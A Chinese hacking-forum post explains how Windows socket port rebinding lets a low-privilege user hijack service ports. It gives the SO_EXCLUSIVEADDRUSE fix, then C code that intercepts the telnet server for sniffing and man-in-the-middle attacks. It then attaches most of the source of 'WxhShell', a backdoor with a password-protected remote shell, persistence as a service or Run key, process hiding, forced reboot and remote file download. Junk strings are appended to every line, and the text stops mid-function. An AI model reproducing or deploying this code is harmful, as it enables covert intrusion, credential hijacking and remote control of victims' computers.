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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "XU)(<p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,]tMZ?n8  
9x#T j/5%  
  saddr.sin_family = AF_INET; .cr<.Ov  
zOYG`:/'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {gB9EGY  
K#R|GEwr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I.U=%{.  
SgQ(#y|vV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FMT_X  
HcGbe37Xq  
  这意味着什么?意味着可以进行如下的攻击: ]ts^h~BZ$  
sl)]yCD|5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1 ;Uc -<  
(XV+aQ\A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qU ,{jD$  
p &i+i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MSe >1L2=  
AH^ud*3F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IB^vEY!`6_  
jM>;l6l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m:cWnG  
k8,s<m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~NIqO4 D  
_D8:p>=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _TbvQ Y  
RG_6& A  
  #include }5}#QHF  
  #include }-p-(  
  #include #r@>.S=U]  
  #include    !j9(%,PR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J$S*QCo  
  int main() Qa"4^s  
  { "J 2v8c  
  WORD wVersionRequested; & z5:v-G?  
  DWORD ret; }&^1")2t  
  WSADATA wsaData; pbG v\S F  
  BOOL val; tQ)l4Y 8  
  SOCKADDR_IN saddr; ;7(vqm<V2~  
  SOCKADDR_IN scaddr; w NMA)S  
  int err; vg5fMH9ZZ  
  SOCKET s; e4;h*IQK  
  SOCKET sc; ;ao <{i?  
  int caddsize; 03!#99  
  HANDLE mt; I:YE6${k!  
  DWORD tid;   !4$-.L)#  
  wVersionRequested = MAKEWORD( 2, 2 ); ]!2[kA-  
  err = WSAStartup( wVersionRequested, &wsaData ); 4Dasj8GsV  
  if ( err != 0 ) { pJ/{X=y  
  printf("error!WSAStartup failed!\n"); +ux`}L(  
  return -1; 1/A|$t[  
  } 5qkyi]/U8  
  saddr.sin_family = AF_INET; l=47#zbpZ]  
   sRflabl *x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _Bhd@S!  
=P,pW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K~~LJU3  
  saddr.sin_port = htons(23); /pJr%}sc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R4S))EHg  
  { UK .=Y9  
  printf("error!socket failed!\n");  }S}%4c>  
  return -1; jm[f|4\  
  } YOtzj a]~  
  val = TRUE; 2nSK}q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0SJ(Ln`0K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c&"1Z/tR  
  { 9 }  ]C  
  printf("error!setsockopt failed!\n"); _OB^ywHn.  
  return -1; q'%!qa+  
  } H^g&e$d0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vr #o]v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7/dp_I}cO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b6'ZVB  
afjEN y1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \<\147&)r  
  { x #t?`  
  ret=GetLastError();  ;ih;8  
  printf("error!bind failed!\n"); }{.V^;  
  return -1; \# 1p  
  } e?;  
  listen(s,2); :d@RN+U  
  while(1) y4Nam87;/?  
  { B XO,  
  caddsize = sizeof(scaddr); |lh&l<=(f  
  //接受连接请求 ULxgvq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >dwY( a  
  if(sc!=INVALID_SOCKET) GZ.KL!,R!  
  { 'i 8`LPQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pMkM@OH  
  if(mt==NULL) +l<;?yk:;  
  { |C7=$DgwY  
  printf("Thread Creat Failed!\n"); % xBQX  
  break; }1NNXxQ  
  } ;s5JYR  
  } \3 O1o#=(  
  CloseHandle(mt); ,N8SP 'R  
  } N^jr  
  closesocket(s); Q>uJ:[x+  
  WSACleanup(); R)%I9M,  
  return 0; ~_ko$(;A  
  }   && WEBQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) r`PD}6\  
  { +SkfT4*U  
  SOCKET ss = (SOCKET)lpParam; MFqb_q+  
  SOCKET sc; P} Y .  
  unsigned char buf[4096]; 8[oZ>7LMzC  
  SOCKADDR_IN saddr; !)FKF7'  
  long num; J$,bsMIX  
  DWORD val; J?f7!F:8  
  DWORD ret; :v^OdW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /Y| <0tq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zn5|ewl@"  
  saddr.sin_family = AF_INET; hdYd2 j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YH&0Vy#c$  
  saddr.sin_port = htons(23); VRUA<x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3u9}z+q  
  { 'w_Qs~6~{  
  printf("error!socket failed!\n"); P@U2Q%\  
  return -1; l$C Y gm  
  } *Q;?p hr  
  val = 100; ;;Jx1Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pe` jNiI  
  { `Yyi;!+0  
  ret = GetLastError();  `dIwBfg_  
  return -1; aO* v"^oF  
  } tQ`|MO&o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H1$n6J  
  { l <yYfGO  
  ret = GetLastError(); Oki{)Ssy  
  return -1; 5]2 p>%G  
  } Gl9 ,!"A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I~,bZA  
  { _BG7 JvI  
  printf("error!socket connect failed!\n"); _[N*k"  
  closesocket(sc); Y$W)JWMY`  
  closesocket(ss); [!`5kI  
  return -1; )-\qo#0l  
  } , jCE hb  
  while(1) kk}_AZ0eK  
  { A1B%<$|pz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E|_}?>{R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k!d<2Qp W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `{Fz  
  num = recv(ss,buf,4096,0); igF<].'V  
  if(num>0) 0*6Q 8`I  
  send(sc,buf,num,0); gN[^ ,u  
  else if(num==0) ^O&&QRH~w  
  break; ~ F>'+9?Sn  
  num = recv(sc,buf,4096,0); fPG3$<Zr  
  if(num>0) h79~d%-  
  send(ss,buf,num,0); x}#N?d  
  else if(num==0) 2g;Id.i>  
  break; i>(TPj|  
  } /b410NP5  
  closesocket(ss); )g`~,3G  
  closesocket(sc); t<e3EW@>>  
  return 0 ; &@'+h* b  
  } @GF3g=  
a?*pO`<J{  
*C.Kdf3w  
========================================================== >C`#4e?}  
Fm+V_.H/;  
下边附上一个代码,,WXhSHELL jwheJ G  
}l_8~/9  
========================================================== 5i%\m  
.d+zF,02Z  
#include "stdafx.h" xxOhGA)  
V9wL3*  
#include <stdio.h> ,Uy;jk  
#include <string.h> rnBp2'EM  
#include <windows.h> 8( bK\-b  
#include <winsock2.h> dEam|  
#include <winsvc.h> %I@ vMs^  
#include <urlmon.h> d"thM  
nY,LQ0r  
#pragma comment (lib, "Ws2_32.lib") |Gr@Mi5  
#pragma comment (lib, "urlmon.lib") vILgM\or  
c-4z8T#M^  
#define MAX_USER   100 // 最大客户端连接数 q&^H" fF  
#define BUF_SOCK   200 // sock buffer 6Ia[`x uL  
#define KEY_BUFF   255 // 输入 buffer 3=%G{L16-  
NosOd*S  
#define REBOOT     0   // 重启 )#sN#ZR$  
#define SHUTDOWN   1   // 关机 *T:jR  
m",G;VN  
#define DEF_PORT   5000 // 监听端口 ?5wsgP^  
.p(r|5(b  
#define REG_LEN     16   // 注册表键长度 WZ UeW*#=  
#define SVC_LEN     80   // NT服务名长度 oslj<  
QRwOv  
// 从dll定义API 3A\Z ]L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UI*&@!%bzp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {a(<E8-^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ..=lM:13|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'h[7AZ&)#  
Mo4c8wp&SM  
// wxhshell配置信息 :N'   
struct WSCFG { ;s#]."v_=  
  int ws_port;         // 监听端口 " +hUt  
  char ws_passstr[REG_LEN]; // 口令 fyxc4-D  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7H4kj7UK  
  char ws_regname[REG_LEN]; // 注册表键名 \jAI~|3  
  char ws_svcname[REG_LEN]; // 服务名 D!i|KI/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,q$2D,dz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {*nE8+..A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /f hS#+V*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5[~ C!t;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ed#>q;jX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?<^^.Si  
7mL1$i6=  
}; aj-:JTf  
V>ZDJW"G!  
// default Wxhshell configuration u@Bgyt7Y  
struct WSCFG wscfg={DEF_PORT, 8yM8O #S  
    "xuhuanlingzhe", ?F~0\T,7  
    1, jH<,dG:{  
    "Wxhshell", 845\u&  
    "Wxhshell", (@S 9>z4s  
            "WxhShell Service", |I3&a=,  
    "Wrsky Windows CmdShell Service", ER:K^ Za  
    "Please Input Your Password: ", (U:6vk3Q  
  1, >E WK cocM  
  "http://www.wrsky.com/wxhshell.exe", }xY|z"&  
  "Wxhshell.exe" rw75(Lp{  
    }; |C>\k u*  
Yx](3w ID  
// 消息定义模块 `!ZkWF6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `0-i>>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jRxzZt4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jJ?G7Q5 l  
char *msg_ws_ext="\n\rExit."; u3sr"w&  
char *msg_ws_end="\n\rQuit."; |V^f}5gd  
char *msg_ws_boot="\n\rReboot..."; K] &GSro  
char *msg_ws_poff="\n\rShutdown..."; l>)+HoD  
char *msg_ws_down="\n\rSave to "; %m$t'?  
Ad4-aWH  
char *msg_ws_err="\n\rErr!"; |WW'qg]Uu  
char *msg_ws_ok="\n\rOK!"; }{v0}-~@  
4 &0MB>m  
char ExeFile[MAX_PATH]; J$-1odL0Z  
int nUser = 0; jI$7vmO  
HANDLE handles[MAX_USER]; nyOvB#f  
int OsIsNt; !RN9wXS7  
y tTppmJF  
SERVICE_STATUS       serviceStatus; U[:Js@uH_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kc+9n%sp  
-#g0  
// 函数声明 Ef=4yH?\j  
int Install(void); >Fc=F#tA9  
int Uninstall(void); {7Kl #b  
int DownloadFile(char *sURL, SOCKET wsh); Zm#,Ike?#  
int Boot(int flag); '@"A{mrE  
void HideProc(void); RI BB*  
int GetOsVer(void); +:u &]  
int Wxhshell(SOCKET wsl); t`1~5#?Du(  
void TalkWithClient(void *cs); oOGFg3X  
int CmdShell(SOCKET sock); FQcm =d_s  
int StartFromService(void); Apkb!"}>  
int StartWxhshell(LPSTR lpCmdLine); ~-~iCIaTb  
CC]q\%y-_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !@> :k3DC&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Uy~O(F t  
Po.izE!C  
// 数据结构和表定义 P+,YWp  
SERVICE_TABLE_ENTRY DispatchTable[] = g5 y*-t  
{ o^u}(wZ{  
{wscfg.ws_svcname, NTServiceMain}, =E&1e;_xlE  
{NULL, NULL} Nl{on"il  
}; mHNqzdaa  
6lwWFR+k  
// 自我安装 +@<@x4yt  
int Install(void) 8,:lw3x1  
{ Gn<e&|4>i}  
  char svExeFile[MAX_PATH]; pzU:AUW  
  HKEY key; 'JAe =K H  
  strcpy(svExeFile,ExeFile); zZS,<Z  
d)0 hAdh  
// 如果是win9x系统,修改注册表设为自启动 epP_~TU  
if(!OsIsNt) { _ sBFs.o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D~,i I7ac  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dj w#{WR  
  RegCloseKey(key); 2F:X:f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z{qn|#}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q&,uJo  
  RegCloseKey(key); ; $UB@)7%  
  return 0; qx}*L'xB  
    } oSP^ .BJ$  
  } t0)hd X  
} mm N $\2  
else { 5(y Q-/6C+  
~bfjP2 g  
// 如果是NT以上系统,安装为系统服务 l{. XhB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5NMju!/  
if (schSCManager!=0) Vje LPbk)  
{ &l W~ot1,  
  SC_HANDLE schService = CreateService 7Y^2JlZu=  
  ( xic&m5j m  
  schSCManager, Q5;EQ .#  
  wscfg.ws_svcname, D+*_iM6[-  
  wscfg.ws_svcdisp, K Z0%J5  
  SERVICE_ALL_ACCESS, r7v 1q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ft8ii|-  
  SERVICE_AUTO_START, b>| d Q  
  SERVICE_ERROR_NORMAL, Na`vw  
  svExeFile, q?# w%0}  
  NULL, z!^3%kJJ>  
  NULL, 9RY}m7  
  NULL, `_M&zN  
  NULL, kk aS&r>  
  NULL lI+KT_|L  
  ); Y IVN;:B.  
  if (schService!=0) Ce PI{`&,  
  { !r+SE  
  CloseServiceHandle(schService); }do=lm?/  
  CloseServiceHandle(schSCManager); UujKgL4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OI)/J;[-e  
  strcat(svExeFile,wscfg.ws_svcname); {-s7_\|p(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MG$Df$R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y^ ,G} &p  
  RegCloseKey(key); 0j[%L!hny  
  return 0; e'dZ2;X$zo  
    } /x&52~X5-  
  } M\=/i\-  
  CloseServiceHandle(schSCManager); /^Zgv-n  
} 0+_:^z  
} yzz(<s:o/  
)H<F([Jri  
return 1; vrXNa8,L  
} d~O)mJ J  
m[&pR2T  
// 自我卸载 y-vB C3  
int Uninstall(void) tR-rW)0K3Q  
{ =bb)B(  
  HKEY key; Fx@@.O6  
.4,l0Nn`W  
if(!OsIsNt) { S d]`)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }U$p[Gi<  
  RegDeleteValue(key,wscfg.ws_regname); (s!cd]Qa.  
  RegCloseKey(key); )}T0SGY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 19^B610  
  RegDeleteValue(key,wscfg.ws_regname); *AI?md  
  RegCloseKey(key); s#V:! 7  
  return 0; QCvst*  
  } = p$:vW  
} |FZIUS{]  
} FQikFy(YY  
else { _,E! <  
H,U qU3b3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sTF Ru  
if (schSCManager!=0) `xu/|})KI  
{ m#t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (J\Qo9Il  
  if (schService!=0) 3AarRQWsn  
  { 1EA}[x  
  if(DeleteService(schService)!=0) { Pqv9> N|  
  CloseServiceHandle(schService); I i J%.U  
  CloseServiceHandle(schSCManager); c"CF&vTp  
  return 0; $4]"g}_  
  } =VDtZSa!$^  
  CloseServiceHandle(schService); t+ O7dZt%r  
  } sqk$q pV6  
  CloseServiceHandle(schSCManager); |PW.CV0,  
} C-L["O0[  
} M9dUo7  
|%7OI#t^  
return 1; gX *i"Y#  
} YDo,9  
EyPF'|Qtn  
// 从指定url下载文件 Z<6Fq*I  
int DownloadFile(char *sURL, SOCKET wsh) e(sV4Z~  
{ ;PG,0R`Z;  
  HRESULT hr; ~0XV[$`L  
char seps[]= "/"; j?9fb  
char *token; bY7~b/  
char *file; ^1w*$5YI  
char myURL[MAX_PATH]; @P}!mdH1  
char myFILE[MAX_PATH]; s4Y7x.-  
BJ7m3[lz  
strcpy(myURL,sURL); &&{_T4  
  token=strtok(myURL,seps); [[9XqD]  
  while(token!=NULL) mRC6m K>  
  { \j3XT}  
    file=token; 7Ys\=W1  
  token=strtok(NULL,seps); eXZH#K7S#  
  } A;#GU`  
$sR-J'EE!  
GetCurrentDirectory(MAX_PATH,myFILE); Dh{sVRA  
strcat(myFILE, "\\"); b0"R |d[i  
strcat(myFILE, file); @mrGG F  
  send(wsh,myFILE,strlen(myFILE),0); LzJNQd'  
send(wsh,"...",3,0); !)TO2?,^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,mW-O!$3W  
  if(hr==S_OK) Zp*0%x!e  
return 0; F B7.b  
else 7Yd]#K{$  
return 1; {pW(@4U  
q<*UeyE S  
} \hT=U*dMR  
# ~T K C|G  
// 系统电源模块 k->cqtG  
int Boot(int flag) 4mJ[Wr\y  
{ ImVHX~ qHJ  
  HANDLE hToken; )rFcfS+/  
  TOKEN_PRIVILEGES tkp; ;NeN2|I]  
q2KWSh5  
  if(OsIsNt) { $mp'/]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ik74%x7G`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I4"U/iL51  
    tkp.PrivilegeCount = 1; QnNddCiu=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p6e9mSs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U:o(%dk  
if(flag==REBOOT) { 6t(I.>-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dY%>C75O  
  return 0; >,. x'{  
} 2Sg,b8  
else { .8.LW4-ff  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vD*9b.*  
  return 0; >X!A/; $  
} Swg%[r=p=  
  } dF/HKBJ  
  else { 4Sxt<7[f  
if(flag==REBOOT) { woCFkO;'O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^`XTs!.  
  return 0; k+FiW3-  
} *yxn*B_xZ  
else { ;iMgv5=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) El)WjcmH  
  return 0; G*lkVQ6?  
} ^|0>&sTHOH  
} ?yqTLj  
N N;'QiE  
return 1; ]aF!0Fln~  
} =-U8^e_Y  
YKT=0   
// win9x进程隐藏模块 IJt8 * cw  
void HideProc(void) d*{NAq'9X  
{ -N]%) Hy  
l /\n7:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M;Dk$B{;R  
  if ( hKernel != NULL ) EsR$H2"  
  { '6&a8&:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9s}y*Vp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BCtm05  
    FreeLibrary(hKernel); j\S}TaH0e  
  } };=44E'7  
CnA0^JX  
return; AT%@T|  
} -I\Y m_)  
!{, `h<  
// 获取操作系统版本 xfyUT^  
int GetOsVer(void) )D1=jD(  
{ uNn]hl|x  
  OSVERSIONINFO winfo; .}.63T$h9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5, <:|/r  
  GetVersionEx(&winfo); O$Z<R:vVA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L93KsI  
  return 1; M(_1'2  
  else }.j09[<  
  return 0; RC| t-(Z  
} {tlt5p!4  
<!r0[bKz@  
// 客户端句柄模块 Mmu>&C\  
int Wxhshell(SOCKET wsl) 7u9!:}Tu  
{ Y79{v nlGk  
  SOCKET wsh; X( H-U q*(  
  struct sockaddr_in client; g^dPAjPQ  
  DWORD myID; sZ!/uN!6  
CI };$4W~  
  while(nUser<MAX_USER) XvIrO]F-  
{ ED+tVXyw  
  int nSize=sizeof(client); k5%:L2FO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v)a$;P%  
  if(wsh==INVALID_SOCKET) return 1; },G>+ s8h  
qd7 86~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $Jt+>.44  
if(handles[nUser]==0) j5yxdjx9  
  closesocket(wsh); 9(PQ7}  
else H[a1n' "<:  
  nUser++; DfNX@gbo  
  } LmKG6>Q1#1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !h "6h  
rz @;Zn  
  return 0; pg%'_+$~m  
} 0rtP :Nj$  
ZKv^q%92  
// 关闭 socket lQolE P.pc  
void CloseIt(SOCKET wsh) G/*0*&fW  
{ P ;#}@/E  
closesocket(wsh); Uu9*nH_  
nUser--; &u_s*  
ExitThread(0); UaQR0,#0y  
} :i4>&4j  
%0z&k!P  
// 客户端请求句柄 T!T6M6?  
void TalkWithClient(void *cs) 6] ~g*]T  
{ :$`"M#vMX  
`]{/(pIgW;  
  SOCKET wsh=(SOCKET)cs; !\0UEC  
  char pwd[SVC_LEN]; )aOPR|+  
  char cmd[KEY_BUFF]; HktvUJ(Ii  
char chr[1]; -|l^- Qf!  
int i,j; Q[+o\{ O  
x-:a5Kz!  
  while (nUser < MAX_USER) { `zjEs8`'  
Q9`}dYf.  
if(wscfg.ws_passstr) { ]y:ez8RFPU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q~^qf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j(`L)/|O  
  //ZeroMemory(pwd,KEY_BUFF); h7( R/Rf  
      i=0; p)$DpNL% p  
  while(i<SVC_LEN) { ZPT6 p J  
Kug_0+gI  
  // 设置超时 86s.qPB0  
  fd_set FdRead; CCp8,  
  struct timeval TimeOut; )rTV}Hk  
  FD_ZERO(&FdRead); u49v,,WGw  
  FD_SET(wsh,&FdRead); eN/o}<(e  
  TimeOut.tv_sec=8; se)vi;J7K  
  TimeOut.tv_usec=0; ctv=8SFv(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q)7iu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SYPG.O?I  
e Akjpc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7n-;++a5]  
  pwd=chr[0]; zF6]2Y?k%  
  if(chr[0]==0xd || chr[0]==0xa) { Qg\OJmv  
  pwd=0; JY+ N+c\  
  break; tntQO!pM  
  } q&h&GZ  
  i++; oCBZ9PGkK  
    } Qz+hS\yx  
pV>M, f  
  // 如果是非法用户,关闭 socket s/,wyxKd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kAF[K,G G  
} e%(,)WlTaU  
<Ct b^4$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p?mQ\O8F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ohHKZZ  
J!$q"0G'WT  
while(1) { ?F@0"qi  
iUv#oX H  
  ZeroMemory(cmd,KEY_BUFF); T9@W,0#  
&TmN^R>  
      // 自动支持客户端 telnet标准   #PzRhanX  
  j=0; p nS{W \Q  
  while(j<KEY_BUFF) { >AT{\W!N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E1U~ ew  
  cmd[j]=chr[0]; A8?uCkG  
  if(chr[0]==0xa || chr[0]==0xd) { &*wN@e(c  
  cmd[j]=0; @O7hY8",  
  break; H1]An'qz,  
  } q;dg,Om  
  j++; wt;7+  
    } *CHLs^)   
vjy59m  
  // 下载文件 yw|O,V<4N  
  if(strstr(cmd,"http://")) { 3x=f}SO&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <+1d'VQ2  
  if(DownloadFile(cmd,wsh)) 3|=9aM^x^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #S57SD  
  else =Fq"lq %  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "t4$%7L]  
  } k^ CFu  
  else { eIz T(3(  
|U*wMYC  
    switch(cmd[0]) { !2)$lM1@J  
  SjT8 eH #  
  // 帮助 3d qj:4[f  
  case '?': { ,k*g `OTW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hshm;\'  
    break; tpJe1J<  
  } &-Bw7v  
  // 安装 mHqw,28}  
  case 'i': { ggr\nY  
    if(Install()) PVGvjc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pDGX$1O"  
    else X>C l{.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B|Y6;4?  
    break; vJ__jO"Sq  
    } rkF]Q_'`t;  
  // 卸载 |IbCN  
  case 'r': { _5F8F4QY`  
    if(Uninstall()) 0B0Uay'd_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lx8@;9fLy  
    else UenB4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O7p>"Bh  
    break; p`@7hf|hm  
    } [b-wak})aD  
  // 显示 wxhshell 所在路径 >[]@Df,p  
  case 'p': { LTGKs^i4  
    char svExeFile[MAX_PATH]; K5O8G  
    strcpy(svExeFile,"\n\r"); |Co ?uv i  
      strcat(svExeFile,ExeFile); {5tb.{  
        send(wsh,svExeFile,strlen(svExeFile),0); ,qF;#nB-  
    break; g5gq {KlU  
    } iXp*G52  
  // 重启 j[z o~Y4z  
  case 'b': { #HjiE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ww9%6 #i t  
    if(Boot(REBOOT)) Q`nsL)J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =2[5 g!qX  
    else { '.jr" 3u  
    closesocket(wsh); C NDf&dzX8  
    ExitThread(0); [89qg+z  
    } K3QE>@']  
    break; h|^RM*x  
    } Zi&qa+F  
  // 关机 Nf.6:=  
  case 'd': { 'l+).},  
